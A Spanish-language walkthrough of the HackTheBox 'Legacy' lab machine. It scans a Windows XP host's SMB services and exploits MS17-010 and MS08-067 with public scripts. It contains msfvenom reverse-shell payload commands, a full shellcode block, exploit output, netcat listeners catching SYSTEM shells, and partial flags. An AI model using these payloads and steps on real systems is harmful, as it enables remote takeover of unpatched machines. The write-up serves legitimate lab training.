HTB Legacy
¡Hola!
En esta ocasión vamos a resolver de la maquina Legacy
de HackTheBox.
La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre legacy
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
❯ mkhack legacy
❯ cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
❯ osping 10.10.10.4
[*] Detectando sistema operativo ...
[+] 10.10.10.4 ttl=127 >> Windows
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
❯ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.4 -oG ports | grep open
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
❯ nmap -p135,139,445 -sCV 10.10.10.4 -oN versions
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o :microsoft:windows_xp
Host script results:
|_clock-skew: mean: 5d00h27m39s, deviation: 2h07m16s, median: 4d22h57m39s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:5 6:b9:44:fa (VMware)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2022-07-18T08:08:49+03:00i
RECONOCIMIENTO SMB
Iniciamos con el reconocimiento del servicio smb
donde inicialmente ejecutamos todos los scripts potencialmente vulnerables soportados por nmap, en búsqueda de posibles CVEs vulnerables en la máquina.
❯ nmap -p135,139,445 10.10.10.4 --script "smb-vuln*"
Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrar y
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
| smb-vun-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-054: false
¡Encontramos dos CVE que presentan vulnerabilidades en la máquina! ms17-010
y MS08-067
.
EXPLOTACION POR MS17-010
Vamos a realizar la explotación de nuestro primer CVE, para este caso haremos uso del script de github de helviojunior para esta explotación es necesario tener instalado python2.
❯ git clone https://github.com/helviojunior/MS17-010
❯ cd MS17-010/
Creamos un ambiente virtual de python2 para poder ejecutar el script sin presentar errores por librerías sin soporte.
❯ virtualenv -p python2 ms17-010
❯ source ms17-010/bin/activate
Ahora que nos encontramos en el ambiente virtual, procedemos a descargar la librería impacket requerida para ejecutar el exploit.
pip install impacket
Como primer paso, vamos a ejecutar el checker.py
que nos ayuda a identificar el nombre del pipe que vamos a utilizar en el script de explotación.
❯ python checker.py 10.10.10.4
Trying to connect to 10.10.10.4:445
Target OS: Windows 5.1
The target is not patched
=== Testing named pipes ===
spoolss: Ok (32 bit)
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: Ok (32 bit)
Tal como podemos ver, los nombres de pipe que podemos utilizar son los de status OK, en este caso spoolss
y browser
.
Para poder tener éxito, es necesario generar una reverse shell por medio de la utilidad msfvenom
con nuestra dirección IP y puerto de escucha para obtener posteriormente la shell denominada reverseShell.exe
❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.6 LPORT=4564 -f exe -o reverseShell.exe
Ahora que tenemos el pipe y la reverse shell generada, procedemos a ejecutar el script de explotación send_and_execute.py
para cargar y ejecutar el payload.
❯ python send_and_execute.py 10.10.10.4 reverseShell.exe 445 spoolss
Trying to connect to 10.10.10.4:445
Target OS: Windows 5.1
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x8652bce0
SESSION: 0xe239f1c8
FLINK: 0x7bd48
InData: 0x7ae28
MID: 0xa
TRANS1: 0x78b50
TRANS2: 0x7ac90
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xe23d7468
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe23d7508
overwriting token UserAndGroups
Sending file 850ZDK.exe...
Opening SVCManager on 10.10.10.4.....
Creating service rhVR.....
Starting service rhVR.....
The NETBIOS connection with the remote host timed out.
Removing service rhVR.....
ServiceExec Error on: 10.10.10.4
nca_s_proto_error
Done
Generamos un listener por el puerto escogido y obtenemos acceso al sistema como usuario NT Authority/System
❯ rlwrap nc -lvnp 4564
listening on [any] 4564 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.4] 1034
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
hostname
hostname
legacy
C:\WINDOWS\system32>
EXPLOTACION MS08-067
Vamos a realizar la explotación de nuestro segundo CVE, para este caso haremos uso del script de github de andyacer para esta explotación es necesario tener instalado python2.
❯ git clone https://github.com/andyacer/ms08_067
❯ cd ms08_067/
Creamos un ambiente virtual de python2 para poder ejecutar el script sin presentar errores por librerías sin soporte.
❯ virtualenv -p python2 ms08_067
❯ source ms08_067/bin/activate
Ahora que nos encontramos en el ambiente virtual, procedemos a descargar la librería impacket y pycrypto requerida para ejecutar el exploit.
pip install impacket
pip install pycrypto
Al igual que en la anterior explotación, por medio de msfvenom
generamos una reverse shell, pero en este caso generamos un shellcode el cual vamos a reemplazar directamente en el script de explotación
❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.7 LPORT=4564 EXITFUNC=thread -b "\x00\x0a\x0d\x5 c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
vim ms08_067_2018.py
**Nos ubicamos en la linea 44 y reemplazamos el shellcode
shellcode=(
"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xf3\xf1\xc3\xeb\x83\xee\xfc\xe2\xf4\x0f\x19\x41\xeb\xf3\xf1"
"\xa3\x62\x16\xc0\x03\x8f\x78\xa1\xf3\x60\xa1\xfd\x48\xb9\xe7"
"\x7a\xb1\xc3\xfc\x46\x89\xcd\xc2\x0e\x6f\xd7\x92\x8d\xc1\xc7"
"\xd3\x30\x0c\xe6\xf2\x36\x21\x19\xa1\xa6\x48\xb9\xe3\x7a\x89"
"\xd7\x78\xbd\xd2\x93\x10\xb9\xc2\x3a\xa2\x7a\x9a\xcb\xf2\x22"
"\x48\xa2\xeb\x12\xf9\xa2\x78\xc5\x48\xea\x25\xc0\x3c\x47\x32"
"\x3e\xce\xea\x34\xc9\x23\x9e\x05\xf2\xbe\x13\xc8\x8c\xe7\x9e"
"\x17\xa9\x48\xb3\xd7\xf0\x10\x8d\x78\xfd\x88\x60\xab\xed\xc2"
"\x38\x78\xf5\x48\xea\x23\x78\x87\xcf\xd7\xaa\x98\x8a\xaa\xab"
"\x92\x14\x13\xae\x9c\xb1\x78\xe3\x28\x66\xae\x99\xf0\xd9\xf3"
"\xf1\xab\x9c\x80\xc3\x9c\xbf\x9b\xbd\xb4\xcd\xf4\x0e\x16\x53"
"\x63\xf0\xc3\xeb\xda\x35\x97\xbb\x9b\xd8\x43\x80\xf3\x0e\x16"
"\xbb\xa3\xa1\x93\xab\xa3\xb1\x93\x83\x19\xfe\x1c\x0b\x0c\x24"
"\x54\x81\xf6\x99\xc9\xe1\xfd\xf6\xab\xe9\xf3\xe0\x17\x62\x15"
"\x9b\xd3\xbd\xa4\x99\x5a\x4e\x87\x90\x3c\x3e\x76\x31\xb7\xe7"
"\x0c\xbf\xcb\x9e\x1f\x99\x33\x5e\x51\xa7\x3c\x3e\x9b\x92\xae"
"\x8f\xf3\x78\x20\xbc\xa4\xa6\xf2\x1d\x99\xe3\x9a\xbd\x11\x0c"
"\xa5\x2c\xb7\xd5\xff\xea\xf2\x7c\x87\xcf\xe3\x37\xc3\xaf\xa7"
"\xa1\x95\xbd\xa5\xb7\x95\xa5\xa5\xa7\x90\xbd\x9b\x88\x0f\xd4"
"\x75\x0e\x16\x62\x13\xbf\x95\xad\x0c\xc1\xab\xe3\x74\xec\xa3"
"\x14\x26\x4a\x23\xf6\xd9\xfb\xab\x4d\x66\x4c\x5e\x14\x26\xcd"
"\xc5\x97\xf9\x71\x38\x0b\x86\xf4\x78\xac\xe0\x83\xac\x81\xf3"
"\xa2\x3c\x3e"
)
Ahora que tenemos la información actualizada vamos a ejecutar el exploit.
❯ python ms08_067_2018.py 10.10.10.4 6 445
#######################################################################
# MS08-067 Exploit
# This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_0 67_netapi
#
# Mod in 2018 by Andy Acer:
# - Added support for selecting a target port at the command line.
# It seemed that only 445 was previously supported.
# - Changed library calls to correctly establish a NetBIOS session for SMB transport
# - Changed shellcode handling to allow for variable length shellcode. Just cut and paste
# into this source file.
#######################################################################
Windows XP SP3 English (NX)
[-]Initiating connection
[-]connected to ncacn_np:10.10.10.4[\pipe\browser]
Exploit finish
Ponemos un listener logrando obtener una reverse shell exitosamente
Generamos un listener por el puerto escogido y obtenemos acceso al sistema como usuario NT Authority/System
❯ rlwrap nc -lvnp 4564
listening on [any] 4564 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.4] 1032
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
hostname
hostname
legacy
ESCALADA DE PRIVILEGIOS
En esta ocasión el escalamiento de privilegios no fue necesario debido a que la explotación de ambos CVEs nos permitió el acceso al usuario administrador directamente, dando una ventaja en cuando a la búsqueda de vías potenciales de escalamiento.
FLAGS
Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type
, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.
dir /b/s user.txt
C:\Documents and Settings\john\Desktop\user.txt
set /P user=<"C:\Documents and Settings\john\Desktop\user.txt"
echo.%user:~0,10%
e69af0e4f4
dir /b/s root.txt
C:\Documents and Settings\Administrator\Desktop\root.txt
set /P root=<"C:\Documents and Settings\Administrator\Desktop\root.txt"
echo.%root:~0,10%
993442d258
¡Hemos logrado completar la máquina Legacy
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.